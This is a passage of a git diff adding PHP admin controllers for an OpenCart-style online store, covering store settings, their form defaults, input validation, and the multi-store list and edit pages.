+ $data['config_fraud_status_id'] = $this->config->get('config_fraud_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['config_api_id'])) {
+ $data['config_api_id'] = $this->request->post['config_api_id'];
+ } else {
+ $data['config_api_id'] = $this->config->get('config_api_id');
+ }
+
+ $this->load->model('user/api');
+
+ $data['apis'] = $this->model_user_api->getApis();
+
+ if (isset($this->request->post['config_stock_display'])) {
+ $data['config_stock_display'] = $this->request->post['config_stock_display'];
+ } else {
+ $data['config_stock_display'] = $this->config->get('config_stock_display');
+ }
+
+ if (isset($this->request->post['config_stock_warning'])) {
+ $data['config_stock_warning'] = $this->request->post['config_stock_warning'];
+ } else {
+ $data['config_stock_warning'] = $this->config->get('config_stock_warning');
+ }
+
+ if (isset($this->request->post['config_stock_checkout'])) {
+ $data['config_stock_checkout'] = $this->request->post['config_stock_checkout'];
+ } else {
+ $data['config_stock_checkout'] = $this->config->get('config_stock_checkout');
+ }
+
+ if (isset($this->request->post['config_affiliate_group_id'])) {
+ $data['config_affiliate_group_id'] = $this->request->post['config_affiliate_group_id'];
+ } else {
+ $data['config_affiliate_group_id'] = $this->config->get('config_affiliate_group_id');
+ }
+
+ if (isset($this->request->post['config_affiliate_approval'])) {
+ $data['config_affiliate_approval'] = $this->request->post['config_affiliate_approval'];
+ } elseif ($this->config->has('config_affiliate_approval')) {
+ $data['config_affiliate_approval'] = $this->config->get('config_affiliate_approval');
+ } else {
+ $data['config_affiliate_approval'] = '';
+ }
+
+ if (isset($this->request->post['config_affiliate_auto'])) {
+ $data['config_affiliate_auto'] = $this->request->post['config_affiliate_auto'];
+ } elseif ($this->config->has('config_affiliate_auto')) {
+ $data['config_affiliate_auto'] = $this->config->get('config_affiliate_auto');
+ } else {
+ $data['config_affiliate_auto'] = '';
+ }
+
+ if (isset($this->request->post['config_affiliate_commission'])) {
+ $data['config_affiliate_commission'] = $this->request->post['config_affiliate_commission'];
+ } elseif ($this->config->has('config_affiliate_commission')) {
+ $data['config_affiliate_commission'] = $this->config->get('config_affiliate_commission');
+ } else {
+ $data['config_affiliate_commission'] = '5.00';
+ }
+
+ if (isset($this->request->post['config_affiliate_id'])) {
+ $data['config_affiliate_id'] = $this->request->post['config_affiliate_id'];
+ } else {
+ $data['config_affiliate_id'] = $this->config->get('config_affiliate_id');
+ }
+
+ if (isset($this->request->post['config_return_id'])) {
+ $data['config_return_id'] = $this->request->post['config_return_id'];
+ } else {
+ $data['config_return_id'] = $this->config->get('config_return_id');
+ }
+
+ if (isset($this->request->post['config_return_status_id'])) {
+ $data['config_return_status_id'] = $this->request->post['config_return_status_id'];
+ } else {
+ $data['config_return_status_id'] = $this->config->get('config_return_status_id');
+ }
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ if (isset($this->request->post['config_captcha'])) {
+ $data['config_captcha'] = $this->request->post['config_captcha'];
+ } else {
+ $data['config_captcha'] = $this->config->get('config_captcha');
+ }
+
+ $this->load->model('setting/extension');
+
+ $data['captchas'] = array();
+
+ // Get a list of installed captchas
+ $extensions = $this->model_setting_extension->getInstalled('captcha');
+
+ foreach ($extensions as $code) {
+ $this->load->language('extension/captcha/' . $code, 'extension');
+ if ($this->config->get('captcha_' . $code . '_status')) {
+ $data['captchas'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+ }
+
+ if (isset($this->request->post['config_captcha_page'])) {
+ $data['config_captcha_page'] = $this->request->post['config_captcha_page'];
+ } elseif ($this->config->has('config_captcha_page')) {
+ $data['config_captcha_page'] = $this->config->get('config_captcha_page');
+ } else {
+ $data['config_captcha_page'] = array();
+ }
+
+ $data['captcha_pages'] = array();
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_register'),
+ 'value' => 'register'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_guest'),
+ 'value' => 'guest'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_review'),
+ 'value' => 'review'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_return'),
+ 'value' => 'return'
+ );
+
+ $data['captcha_pages'][] = array(
+ 'text' => $this->language->get('text_contact'),
+ 'value' => 'contact'
+ );
+
+ if (isset($this->request->post['config_logo'])) {
+ $data['config_logo'] = $this->request->post['config_logo'];
+ } else {
+ $data['config_logo'] = $this->config->get('config_logo');
+ }
+
+ if (isset($this->request->post['config_logo']) && is_file(DIR_IMAGE . $this->request->post['config_logo'])) {
+ $data['logo'] = $this->model_tool_image->resize($this->request->post['config_logo'], 100, 100);
+ } elseif ($this->config->get('config_logo') && is_file(DIR_IMAGE . $this->config->get('config_logo'))) {
+ $data['logo'] = $this->model_tool_image->resize($this->config->get('config_logo'), 100, 100);
+ } else {
+ $data['logo'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ if (isset($this->request->post['config_icon'])) {
+ $data['config_icon'] = $this->request->post['config_icon'];
+ } else {
+ $data['config_icon'] = $this->config->get('config_icon');
+ }
+
+ if (isset($this->request->post['config_icon']) && is_file(DIR_IMAGE . $this->request->post['config_icon'])) {
+ $data['icon'] = $this->model_tool_image->resize($this->request->post['config_icon'], 100, 100);
+ } elseif ($this->config->get('config_icon') && is_file(DIR_IMAGE . $this->config->get('config_icon'))) {
+ $data['icon'] = $this->model_tool_image->resize($this->config->get('config_icon'), 100, 100);
+ } else {
+ $data['icon'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ if (isset($this->request->post['config_mail_engine'])) {
+ $data['config_mail_engine'] = $this->request->post['config_mail_engine'];
+ } else {
+ $data['config_mail_engine'] = $this->config->get('config_mail_engine');
+ }
+
+ if (isset($this->request->post['config_mail_parameter'])) {
+ $data['config_mail_parameter'] = $this->request->post['config_mail_parameter'];
+ } else {
+ $data['config_mail_parameter'] = $this->config->get('config_mail_parameter');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_hostname'])) {
+ $data['config_mail_smtp_hostname'] = $this->request->post['config_mail_smtp_hostname'];
+ } else {
+ $data['config_mail_smtp_hostname'] = $this->config->get('config_mail_smtp_hostname');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_username'])) {
+ $data['config_mail_smtp_username'] = $this->request->post['config_mail_smtp_username'];
+ } else {
+ $data['config_mail_smtp_username'] = $this->config->get('config_mail_smtp_username');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_password'])) {
+ $data['config_mail_smtp_password'] = $this->request->post['config_mail_smtp_password'];
+ } else {
+ $data['config_mail_smtp_password'] = $this->config->get('config_mail_smtp_password');
+ }
+
+ if (isset($this->request->post['config_mail_smtp_port'])) {
+ $data['config_mail_smtp_port'] = $this->request->post['config_mail_smtp_port'];
+ } elseif ($this->config->has('config_mail_smtp_port')) {
+ $data['config_mail_smtp_port'] = $this->config->get('config_mail_smtp_port');
+ } else {
+ $data['config_mail_smtp_port'] = 25;
+ }
+
+ if (isset($this->request->post['config_mail_smtp_timeout'])) {
+ $data['config_mail_smtp_timeout'] = $this->request->post['config_mail_smtp_timeout'];
+ } elseif ($this->config->has('config_mail_smtp_timeout')) {
+ $data['config_mail_smtp_timeout'] = $this->config->get('config_mail_smtp_timeout');
+ } else {
+ $data['config_mail_smtp_timeout'] = 5;
+ }
+
+ if (isset($this->request->post['config_mail_alert'])) {
+ $data['config_mail_alert'] = $this->request->post['config_mail_alert'];
+ } elseif ($this->config->has('config_mail_alert')) {
+ $data['config_mail_alert'] = $this->config->get('config_mail_alert');
+ } else {
+ $data['config_mail_alert'] = array();
+ }
+
+ $data['mail_alerts'] = array();
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_account'),
+ 'value' => 'account'
+ );
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_affiliate'),
+ 'value' => 'affiliate'
+ );
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_order'),
+ 'value' => 'order'
+ );
+
+ $data['mail_alerts'][] = array(
+ 'text' => $this->language->get('text_mail_review'),
+ 'value' => 'review'
+ );
+
+ if (isset($this->request->post['config_mail_alert_email'])) {
+ $data['config_mail_alert_email'] = $this->request->post['config_mail_alert_email'];
+ } else {
+ $data['config_mail_alert_email'] = $this->config->get('config_mail_alert_email');
+ }
+
+ if (isset($this->request->post['config_secure'])) {
+ $data['config_secure'] = $this->request->post['config_secure'];
+ } else {
+ $data['config_secure'] = $this->config->get('config_secure');
+ }
+
+ if (isset($this->request->post['config_shared'])) {
+ $data['config_shared'] = $this->request->post['config_shared'];
+ } else {
+ $data['config_shared'] = $this->config->get('config_shared');
+ }
+
+ if (isset($this->request->post['config_robots'])) {
+ $data['config_robots'] = $this->request->post['config_robots'];
+ } else {
+ $data['config_robots'] = $this->config->get('config_robots');
+ }
+
+ if (isset($this->request->post['config_seo_url'])) {
+ $data['config_seo_url'] = $this->request->post['config_seo_url'];
+ } else {
+ $data['config_seo_url'] = $this->config->get('config_seo_url');
+ }
+
+ if (isset($this->request->post['config_canonical_method'])) {
+ $data['config_canonical_method'] = $this->request->post['config_canonical_method'];
+ } else {
+ $data['config_canonical_method'] = $this->config->get('config_canonical_method');
+ }
+
+ if (isset($this->request->post['config_canonical_self'])) {
+ $data['config_canonical_self'] = $this->request->post['config_canonical_self'];
+ } else {
+ $data['config_canonical_self'] = $this->config->get('config_canonical_self');
+ }
+
+ if (isset($this->request->post['config_add_prevnext'])) {
+ $data['config_add_prevnext'] = $this->request->post['config_add_prevnext'];
+ } else {
+ $data['config_add_prevnext'] = $this->config->get('config_add_prevnext');
+ }
+
+ if (isset($this->request->post['config_noindex_status'])) {
+ $data['config_noindex_status'] = $this->request->post['config_noindex_status'];
+ } else {
+ $data['config_noindex_status'] = $this->config->get('config_noindex_status');
+ }
+
+ if (isset($this->request->post['config_noindex_disallow_params'])) {
+ $data['config_noindex_disallow_params'] = $this->request->post['config_noindex_disallow_params'];
+ } elseif ($this->config->get('config_noindex_disallow_params')) {
+ $data['config_noindex_disallow_params'] = $this->config->get('config_noindex_disallow_params');
+ } else {
+ $data['config_noindex_disallow_params'] = "page";
+ }
+
+ if (isset($this->request->post['config_file_max_size'])) {
+ $data['config_file_max_size'] = $this->request->post['config_file_max_size'];
+ } elseif ($this->config->get('config_file_max_size')) {
+ $data['config_file_max_size'] = $this->config->get('config_file_max_size');
+ } else {
+ $data['config_file_max_size'] = 300000;
+ }
+
+ if (isset($this->request->post['config_file_ext_allowed'])) {
+ $data['config_file_ext_allowed'] = $this->request->post['config_file_ext_allowed'];
+ } else {
+ $data['config_file_ext_allowed'] = $this->config->get('config_file_ext_allowed');
+ }
+
+ if (isset($this->request->post['config_file_mime_allowed'])) {
+ $data['config_file_mime_allowed'] = $this->request->post['config_file_mime_allowed'];
+ } else {
+ $data['config_file_mime_allowed'] = $this->config->get('config_file_mime_allowed');
+ }
+
+ if (isset($this->request->post['config_maintenance'])) {
+ $data['config_maintenance'] = $this->request->post['config_maintenance'];
+ } else {
+ $data['config_maintenance'] = $this->config->get('config_maintenance');
+ }
+
+ if (isset($this->request->post['config_password'])) {
+ $data['config_password'] = $this->request->post['config_password'];
+ } else {
+ $data['config_password'] = $this->config->get('config_password');
+ }
+
+ if (isset($this->request->post['config_encryption'])) {
+ $data['config_encryption'] = $this->request->post['config_encryption'];
+ } else {
+ $data['config_encryption'] = $this->config->get('config_encryption');
+ }
+
+ if (isset($this->request->post['config_compression'])) {
+ $data['config_compression'] = $this->request->post['config_compression'];
+ } else {
+ $data['config_compression'] = $this->config->get('config_compression');
+ }
+
+ if (isset($this->request->post['config_error_display'])) {
+ $data['config_error_display'] = $this->request->post['config_error_display'];
+ } else {
+ $data['config_error_display'] = $this->config->get('config_error_display');
+ }
+
+ if (isset($this->request->post['config_error_log'])) {
+ $data['config_error_log'] = $this->request->post['config_error_log'];
+ } else {
+ $data['config_error_log'] = $this->config->get('config_error_log');
+ }
+
+ if (isset($this->request->post['config_error_filename'])) {
+ $data['config_error_filename'] = $this->request->post['config_error_filename'];
+ } else {
+ $data['config_error_filename'] = $this->config->get('config_error_filename');
+ }
+
+ if (isset($this->request->post['config_seo_pro'])) {
+ $data['config_seo_pro'] = $this->request->post['config_seo_pro'];
+ } else {
+ $data['config_seo_pro'] = $this->config->get('config_seo_pro');
+ }
+
+ if (isset($this->request->post['config_seo_url_include_path'])) {
+ $data['config_seo_url_include_path'] = $this->request->post['config_seo_url_include_path'];
+ } else {
+ $data['config_seo_url_include_path'] = $this->config->get('config_seo_url_include_path');
+ }
+
+ if (isset($this->request->post['config_seo_url_cache'])) {
+ $data['config_seo_url_cache'] = $this->request->post['config_seo_url_cache'];
+ } else {
+ $data['config_seo_url_cache'] = $this->config->get('config_seo_url_cache');
+ }
+
+ if (isset($this->request->post['config_page_postfix'])) {
+ $data['config_page_postfix'] = $this->request->post['config_page_postfix'];
+ } else {
+ $data['config_page_postfix'] = $this->config->get('config_page_postfix');
+ }
+
+ if (isset($this->request->post['config_seopro_addslash'])) {
+ $data['config_seopro_addslash'] = $this->request->post['config_seopro_addslash'];
+ } elseif ($this->config->has('config_seopro_addslash')) {
+ $data['config_seopro_addslash'] = $this->config->get('config_seopro_addslash');
+ }
+
+ if (isset($this->request->post['config_seopro_lowercase'])) {
+ $data['config_seopro_lowercase'] = $this->request->post['config_seopro_lowercase'];
+ } elseif ($this->config->has('config_seopro_lowercase')) {
+ $data['config_seopro_lowercase'] = $this->config->get('config_seopro_lowercase');
+ }
+
+ if (isset($this->request->post['config_valide_param_flag'])) {
+ $data['config_valide_param_flag'] = $this->request->post['config_valide_param_flag'];
+ } elseif ($this->config->has('config_valide_param_flag')) {
+ $data['config_valide_param_flag'] = $this->config->get('config_valide_param_flag');
+ }
+
+
+ if (isset($this->request->post['config_valide_params'])) {
+ $data['config_valide_params'] = $this->request->post['config_valide_params'];
+ } elseif ($this->config->get('config_valide_params')) {
+ $data['config_valide_params'] = $this->config->get('config_valide_params');
+ } else {
+ $data['config_valide_params'] = "block\r\nfrommarket\r\ngclid\r\nfbclid\r\nkeyword\r\nlist_type\r\nopenstat\r\nopenstat_service\r\nopenstat_campaign\r\nopenstat_ad\r\nopenstat_source\r\nposition\r\nsource\r\ntracking\r\ntype\r\nyclid\r\nymclid\r\nuri\r\nurltype\r\nutm_source\r\nutm_medium\r\nutm_campaign\r\nutm_term\r\nutm_content";
+ }
+
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('setting/setting', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'setting/setting')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['config_meta_title']) {
+ $this->error['meta_title'] = $this->language->get('error_meta_title');
+ }
+
+ if (!$this->request->post['config_name']) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['config_owner']) < 3) || (utf8_strlen($this->request->post['config_owner']) > 64)) {
+ $this->error['owner'] = $this->language->get('error_owner');
+ }
+
+ if ((utf8_strlen($this->request->post['config_address']) < 3) || (utf8_strlen($this->request->post['config_address']) > 256)) {
+ $this->error['address'] = $this->language->get('error_address');
+ }
+
+ if ((utf8_strlen($this->request->post['config_email']) > 96) || !filter_var($this->request->post['config_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['config_telephone']) < 3) || (utf8_strlen($this->request->post['config_telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ if (!empty($this->request->post['config_customer_group_display']) && !in_array($this->request->post['config_customer_group_id'], $this->request->post['config_customer_group_display'])) {
+ $this->error['customer_group_display'] = $this->language->get('error_customer_group_display');
+ }
+
+ if (!$this->request->post['config_limit_admin']) {
+ $this->error['limit_admin'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['config_limit_autocomplete']) {
+ $this->error['limit_autocomplete'] = $this->language->get('error_limit');
+ }
+
+ if ($this->request->post['config_login_attempts'] < 1) {
+ $this->error['login_attempts'] = $this->language->get('error_login_attempts');
+ }
+
+ if (!$this->request->post['config_voucher_min']) {
+ $this->error['voucher_min'] = $this->language->get('error_voucher_min');
+ }
+
+ if (!$this->request->post['config_voucher_max']) {
+ $this->error['voucher_max'] = $this->language->get('error_voucher_max');
+ }
+
+ if (!isset($this->request->post['config_processing_status'])) {
+ $this->error['processing_status'] = $this->language->get('error_processing_status');
+ }
+
+ if (!isset($this->request->post['config_complete_status'])) {
+ $this->error['complete_status'] = $this->language->get('error_complete_status');
+ }
+
+ if (!$this->request->post['config_error_filename']) {
+ $this->error['log'] = $this->language->get('error_log_required');
+ } elseif (preg_match('/\.\.[\/\\\]?/', $this->request->post['config_error_filename'])) {
+ $this->error['log'] = $this->language->get('error_log_invalid');
+ } elseif (substr($this->request->post['config_error_filename'], strrpos($this->request->post['config_error_filename'], '.')) != '.log') {
+ $this->error['log'] = $this->language->get('error_log_extension');
+ }
+
+ if ((utf8_strlen($this->request->post['config_encryption']) < 32) || (utf8_strlen($this->request->post['config_encryption']) > 1024)) {
+ $this->error['encryption'] = $this->language->get('error_encryption');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function theme() {
+ if ($this->request->server['HTTPS']) {
+ $server = HTTPS_CATALOG;
+ } else {
+ $server = HTTP_CATALOG;
+ }
+
+ // This is only here for compatibility with old themes.
+ if ($this->request->get['theme'] == 'theme_default') {
+ $theme = $this->config->get('theme_default_directory');
+ } else {
+ $theme = basename($this->request->get['theme']);
+ }
+
+ if (is_file(DIR_CATALOG . 'view/theme/' . $theme . '/image/' . $theme . '.png')) {
+ $this->response->setOutput($server . 'store/view/theme/' . $theme . '/image/' . $theme . '.png');
+ } else {
+ $this->response->setOutput($server . 'image/no_image.png');
+ }
+ }
+}
diff --git a/public/admin/controller/setting/store.php b/public/admin/controller/setting/store.php
new file mode 100644
index 0000000..30bcaf0
--- /dev/null
+++ b/public/admin/controller/setting/store.php
@@ -0,0 +1,717 @@
+load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ $this->load->model('setting/setting');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $store_id = $this->model_setting_store->addStore($this->request->post);
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('config', $this->request->post, $store_id);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_setting_store->editStore($this->request->get['store_id'], $this->request->post);
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('config', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('setting/store');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/store');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ $this->load->model('setting/setting');
+
+ foreach ($this->request->post['selected'] as $store_id) {
+ $this->model_setting_store->deleteStore($store_id);
+
+ $this->model_setting_setting->deleteSetting('config', $store_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['add'] = $this->url->link('setting/store/add', 'user_token=' . $this->session->data['user_token'], true);
+ $data['delete'] = $this->url->link('setting/store/delete', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->config->get('config_name') . $this->language->get('text_default'),
+ 'url' => $this->config->get('config_secure') ? HTTPS_CATALOG : HTTP_CATALOG,
+ 'edit' => $this->url->link('setting/setting', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $store_total = $this->model_setting_store->getTotalStores();
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'store_id' => $result['store_id'],
+ 'name' => $result['name'],
+ 'url' => $result['url'],
+ 'edit' => $this->url->link('setting/store/edit', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $result['store_id'], true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('setting/store_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['store_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['url'])) {
+ $data['error_url'] = $this->error['url'];
+ } else {
+ $data['error_url'] = '';
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['owner'])) {
+ $data['error_owner'] = $this->error['owner'];
+ } else {
+ $data['error_owner'] = '';
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['customer_group_display'])) {
+ $data['error_customer_group_display'] = $this->error['customer_group_display'];
+ } else {
+ $data['error_customer_group_display'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (!isset($this->request->get['store_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_settings'),
+ 'href' => $this->url->link('setting/store/add', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_settings'),
+ 'href' => $this->url->link('setting/store/edit', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (!isset($this->request->get['store_id'])) {
+ $data['action'] = $this->url->link('setting/store/add', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('setting/store/edit', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $this->load->model('setting/setting');
+
+ $store_info = $this->model_setting_setting->getSetting('config', $this->request->get['store_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['config_url'])) {
+ $data['config_url'] = $this->request->post['config_url'];
+ } elseif (isset($store_info['config_url'])) {
+ $data['config_url'] = $store_info['config_url'];
+ } else {
+ $data['config_url'] = '';
+ }
+
+ if (isset($this->request->post['config_ssl'])) {
+ $data['config_ssl'] = $this->request->post['config_ssl'];
+ } elseif (isset($store_info['config_ssl'])) {
+ $data['config_ssl'] = $store_info['config_ssl'];
+ } else {
+ $data['config_ssl'] = '';
+ }
+
+ if (isset($this->request->post['config_meta_title'])) {
+ $data['config_meta_title'] = $this->request->post['config_meta_title'];
+ } elseif (isset($store_info['config_meta_title'])) {
+ $data['config_meta_title'] = $store_info['config_meta_title'];
+ } else {
+ $data['config_meta_title'] = '';
+ }
+
+ if (isset($this->request->post['config_meta_description'])) {
+ $data['config_meta_description'] = $this->request->post['config_meta_description'];
+ } elseif (isset($store_info['config_meta_description'])) {
+ $data['config_meta_description'] = $store_info['config_meta_description'];
+ } else {
+ $data['config_meta_description'] = '';
+ }
+
+ if (isset($this->request->post['config_meta_keyword'])) {
+ $data['config_meta_keyword'] = $this->request->post['config_meta_keyword'];
+ } elseif (isset($store_info['config_meta_keyword'])) {
+ $data['config_meta_keyword'] = $store_info['config_meta_keyword'];
+ } else {
+ $data['config_meta_keyword'] = '';
+ }
+
+ if (isset($this->request->post['config_theme'])) {
+ $data['config_theme'] = $this->request->post['config_theme'];
+ } elseif (isset($store_info['config_theme'])) {
+ $data['config_theme'] = $store_info['config_theme'];
+ } else {
+ $data['config_theme'] = '';
+ }
+
+ $data['themes'] = array();
+
+ // Create a new language container so we don't pollute the current one
+ $language = new Language($this->config->get('config_language'));
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('theme');
+
+ foreach ($extensions as $code) {
+ $this->load->language('extension/theme/' . $code, 'extension');
+
+ $data['themes'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+
+ if (isset($this->request->post['config_layout_id'])) {
+ $data['config_layout_id'] = $this->request->post['config_layout_id'];
+ } elseif (isset($store_info['config_layout_id'])) {
+ $data['config_layout_id'] = $store_info['config_layout_id'];
+ } else {
+ $data['config_layout_id'] = '';
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ if (isset($this->request->post['config_name'])) {
+ $data['config_name'] = $this->request->post['config_name'];
+ } elseif (isset($store_info['config_name'])) {
+ $data['config_name'] = $store_info['config_name'];
+ } else {
+ $data['config_name'] = '';
+ }
+
+ if (isset($this->request->post['config_owner'])) {
+ $data['config_owner'] = $this->request->post['config_owner'];
+ } elseif (isset($store_info['config_owner'])) {
+ $data['config_owner'] = $store_info['config_owner'];
+ } else {
+ $data['config_owner'] = '';
+ }
+
+ if (isset($this->request->post['config_address'])) {
+ $data['config_address'] = $this->request->post['config_address'];
+ } elseif (isset($store_info['config_address'])) {
+ $data['config_address'] = $store_info['config_address'];
+ } else {
+ $data['config_address'] = '';
+ }
+
+ if (isset($this->request->post['config_geocode'])) {
+ $data['config_geocode'] = $this->request->post['config_geocode'];
+ } elseif (isset($store_info['config_geocode'])) {
+ $data['config_geocode'] = $store_info['config_geocode'];
+ } else {
+ $data['config_geocode'] = '';
+ }
+
+ if (isset($this->request->post['config_email'])) {
+ $data['config_email'] = $this->request->post['config_email'];
+ } elseif (isset($store_info['config_email'])) {
+ $data['config_email'] = $store_info['config_email'];
+ } else {
+ $data['config_email'] = '';
+ }
+
+ if (isset($this->request->post['config_telephone'])) {
+ $data['config_telephone'] = $this->request->post['config_telephone'];
+ } elseif (isset($store_info['config_telephone'])) {
+ $data['config_telephone'] = $store_info['config_telephone'];
+ } else {
+ $data['config_telephone'] = '';
+ }
+
+ if (isset($this->request->post['config_fax'])) {
+ $data['config_fax'] = $this->request->post['config_fax'];
+ } elseif (isset($store_info['config_fax'])) {
+ $data['config_fax'] = $store_info['config_fax'];
+ } else {
+ $data['config_fax'] = '';
+ }
+
+ if (isset($this->request->post['config_image'])) {
+ $data['config_image'] = $this->request->post['config_image'];
+ } elseif (isset($store_info['config_image'])) {
+ $data['config_image'] = $store_info['config_image'];
